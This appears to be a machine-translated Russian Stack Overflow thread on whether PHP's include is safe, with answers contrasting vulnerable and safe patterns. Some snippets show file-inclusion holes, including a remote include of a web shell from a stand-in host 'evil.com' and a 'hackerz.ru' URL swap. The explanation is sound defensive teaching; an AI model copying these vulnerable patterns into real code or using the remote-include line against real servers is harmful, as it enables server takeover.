PHP-является ли функция" include " безопасной?
Я использую функцию" include " (e.x. "включить' header2.php '"или" include ' класс.пользователи.на PHP'") чтобы добавить класс header или session на мой веб-сайт. Я действительно не помню, где, но я слышал, что хакеры злоупотребляют, как-то, эта "включить" вещь, отправляя поддельную включенную страницу или что-то в этом роде. Поэтому в основном я хотел бы знать, что с этой функцией "включить", как я могу ее защитить, как они злоупотребляют ею и есть ли лучшие решения для того, что я ищу для.
спасибо заранее.
7 ответов
все зависит от того как ее реализовать. Если вы специально задали путь, то он безопасен. Атака может произойти, если вы разрешите пользователю определить путь к файлу без дезинфекции или проверок.
неуверенность (Обход Каталога)
<?php
include($_GET['file']);
?>
неуверенность (URL-адрес с помощью функции fopen - если включено)
<?php
include('http://evil.com/c99shell.php');
?>
неуверенность
<?php
include('./some_dir/' . $_GET['file']);
?>
Частично Небезопасный ( *.PHP файлы являются уязвимый)
<?php
include('./some_dir/' . $_GET['file'] . '.php');
?>
безопасное (хотя не уверен, почему кто-то сделать это.)
<?php
$allowed = array(
'somefile.php',
'someotherfile.php'
);
if (in_array(basename($_GET['file']), $allowed)) {
include('./includes/' . basename($_GET['file']));
}
?>
безопасное
<?php
include('./includes/somefile.php');
?>
самая большая проблема, с которой, вероятно, меняется расширение от PHP до чего-то, что не выполняется автоматически веб-сервером. Например-библиотека.inc, или config.Инк. Вызов этих файлов с помощью веб-браузера покажет код вместо его выполнения - и любые пароли или эксплуатируемые подсказки будут показаны.
сравнить конфиг.в PHP это может иметь пароль в нем с конфиг.inc. Подтягивание конфиг.inc в большинстве случаев покажет, что такое пароль базы данных.
есть программисты, которые используют .Инк расширения для библиотеки. Предпосылка заключается в том, что они не будут находиться в каталоге, доступном веб-серверу. Однако менее параноидальные программисты безопасности могут сбросить этот файл в удобный веб-каталог.
в противном случае убедитесь, что вы не включаете файл, отправленный строкой запроса. Ex:include( $_GET['menu_file'] )
включить можно злоупотреблять, если вы делаете что-то вроде этого:
include($_GET["page"]);
а затем вызовите URL:
myscript.php?page=index.php
злоумышленники могут затем заменить index.php
на hxxp://hackerz.ru/install_stuff.php
и ваш сервер с удовольствием запустит его.
- это совершенно безопасно. Просто убедитесь, что всегда проверять / избежать ввода.
любая серверная сторона (при условии, что ваш сервер не скомпрометирован) безопасна. Делая это:
$var = $_GET['var']';
include $var . ".php";
- это небезопасно.
include "page.php";
безопасность.
лучше всего сделать, это убедиться, что страница, которую вы пытаетесь включить существует в первую очередь. Реальные лазейки безопасности возникают, когда ваша страница include обрабатывается из какого-то пользовательского ввода, например переменной URL. ?include=page.php
пока вы осторожны с ними, вы должны быть в порядке.
if(is_file($file)) {
//other code, such as user verification and such should also go here
include $file;
}
else { die(); }
включить безопасно при условии, что вы не:
- включить удаленный файл, как
www.someoneelsesssite.com/something.php
- включить файл из пути, который пришел от клиента.
www.mysite.com/bad.php?path=oops/here/is/your/passwords/file
- включите файл из другого, возможно, испорченного источника, такого как база данных.
2 и 3 технически есть нюанс, что если запретить .
или /
или на windows \
вы, наверное, хорошо. Но если вы не знаете почему, вы не знаете достаточно, чтобы рисковать. Даже когда вы думаете, что база данных только для чтения или иным образом безопасна, разумно не предполагать, что, если вы действительно не должны, что почти никогда.
как указывает ответ pp19dd. Также жизненно важно, чтобы вы называли свой включает с .расширение PHP. Если вы установили apache (или любой веб-сервер, который вы используете) для анализа другого типа файла как PHP, это также безопасно. Но если вы не уверены, использовать .исключительно php.